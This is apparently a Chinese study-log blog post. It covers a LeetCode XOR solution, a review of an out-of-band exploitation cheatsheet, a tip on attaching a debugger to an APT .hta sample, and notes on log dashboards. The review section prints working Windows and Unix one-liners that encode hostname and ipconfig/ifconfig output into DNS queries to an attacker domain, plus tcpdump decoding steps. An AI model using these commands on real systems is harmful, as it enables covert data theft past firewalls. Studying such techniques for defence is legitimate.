ARTS:
- Algrothm: leetcode算法題目
- Review: 閱讀并且點評一篇英文技術文章
- Tip/Techni: 學習一個技術技巧
- Share: 分享一篇有觀點和思考的技術文章
Algorithm
Single Number
https://leetcode.com/problems/single-number/
1)problem
Given a non-empty array of integers, every element appears twice except for one. Find that single one.Note:Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?Example 1:Input: [2,2,1]
Output: 1
Example 2:Input: [4,1,2,1,2]
Output: 4
2)answer
數組中其他數出現兩次,僅有一個出現一次的。逐個字符進行異或來,當某個數字出現第二次時候數字就歸為0。二進制計算邏輯如下:
二進制 異或 下一次的異或值 實際值
4 ==> 100 ==> 100 ^ 000 = 100 = 4
1 ==> 001 ==> 001 ^ 100 = 101 = 5
2 ==> 010 ==> 010 ^ 101 = 111 = 7
1 ==> 001 ==> 001 ^ 111 = 110 = 6
2 ==> 010 ==> 010 ^ 110 = 100 = 4
3)solution
Cpp:
#include <stdio.h>
#include <vector>
using std::vector;class Solution {
public:int singleNumber(vector<int>& nums) {int aNum = 0;for (int i = 0; i < nums.size(); i++) {aNum ^= nums[i];}return aNum;}
};int main()
{// 使用內容Solution nSolution;vector<int> nums;nums.push_back(2);nums.push_back(1);nums.push_back(2);nSolution.singleNumber(nums);return 0;
}
Python:
class Solution(object):def singleNumber(self, nums):""":type nums: List[int]:rtype: int"""r_nums = 0for num in nums:r_nums ^= numreturn r_nums
4)總結
Tips:按tags刷會比較有效率。
- String
https://leetcode.com/problemset/all/?topicSlugs=string
https://leetcode.com/problems/unique-email-addresses
https://leetcode.com/problems/to-lower-case
- HASH Tables
https://leetcode.com/problems/jewels-and-stones
https://leetcode.com/problems/single-number
Review
【WEB安全】out of band exploitation (oob) cheatsheet
https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf
1)場景
OOB是一種確認和利用漏洞的方法。讓容易受到攻擊的實體生成出站請求(TCP/UDP/ICMP),由攻擊者過濾數據。
而OOB攻擊基于出口防火墻規則從受攻擊的系統發出出站請求,所以防火墻不會攔截。
2)問題難點
文章中的演示是利用DNS協議進行傳輸數據的。
3)解決問題的方法
在受攻擊的系統執行命令,把命令回顯結果傳回到攻擊者的服務器上。對受攻擊的系統執行指定命令通過DNS訪問攻擊者的服務器,攻擊者將開啟tcpdump抓包工具把原數據存儲,在過濾還原出來。
4)方法細節
在攻擊者服務器上運行TCPDUMP。接受數據原理:
tcpdump -n port 53
Windows:
受攻擊機器:
nslookup test.oob.dnsattacker.com
Uinx:
host host.oob.dnsattacker.com
5)總結
- 獲取主機名
Windows受攻擊機器
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3
&& set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
攻擊者:
echo “encoded output” |base64 -d # decode the output with base64
- 發送多行的顯示結果
受攻擊機器:
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContent
output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){
$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }" # Sending file inHEX
攻擊者:
sudo tcpdump -n port 53 | tee file.txtecho "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f
2|tr -d '\n')" | xxd -r -p
Unix:
受攻擊者:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com;done # Sending file in HEX
攻擊者:
sudo tcpdump -n port 53 | tee file.txt
提取和構造輸出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
Base64:
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64
Tip
【逆向分析】某APT組織.net程序調試技巧
1)場景
某個APT組織的樣本是通過.hta文件在內存中直接展開的。
2)問題難點
.HTA文件,解密在分析。工具少,時間長。
3)解決思路
查看mshta.exe是否在運行,使用OD附加這個進程。
4)方法細節
1、運行.hta文件,查看mshta.exe是否在運行,使用OD附加這個進程。2、bp connect:對網絡函數下斷點,獲取連接域名或IP的位置,拿到IOC。
5)總結
郵件發送的樣本,打開附件的EXE釋放會在temp臨時目錄內釋放hta文件或者白簽名的文件,打開pdf/word/ppt文件。
Share
【業務安全】應用日志分析需求
1)場景
針對主機存儲的日志數據,通過這些分析報表來查看近期站點的流量趨勢、洞察站點用戶行為、用戶地域屬性等。
2)問題難點
圖是從微信群里看到的,比起上周關注的業務點多了些許細節。
3)解決問題的方法
運營大盤:告警、趨勢與分析
- 告警類:準時的展示、攔截;
- 趨勢類:餅圖、柱圖、折線等等。一般以天或小時級別,觀測整體的趨勢,不適合細粒度分析但可從宏觀側面觀測并找到可疑的方向;
- 觀測分析類:也以各種餅圖、柱圖、折線為主,但會比趨勢類的展示在某些維度的粒度更細,例如,5-10分鐘級別,甚至按地域和用戶細分,等等。一方面,用于在可疑方向上進一步確定問題,給分析人員指向原始數據內的分析方向;另一方面,也可在不那么微觀、但也不那么宏觀的層面上,通過流動性的走勢發現一些在原始數據和宏觀數據里都無法發現的問題。
4)方法細節
5)總結
無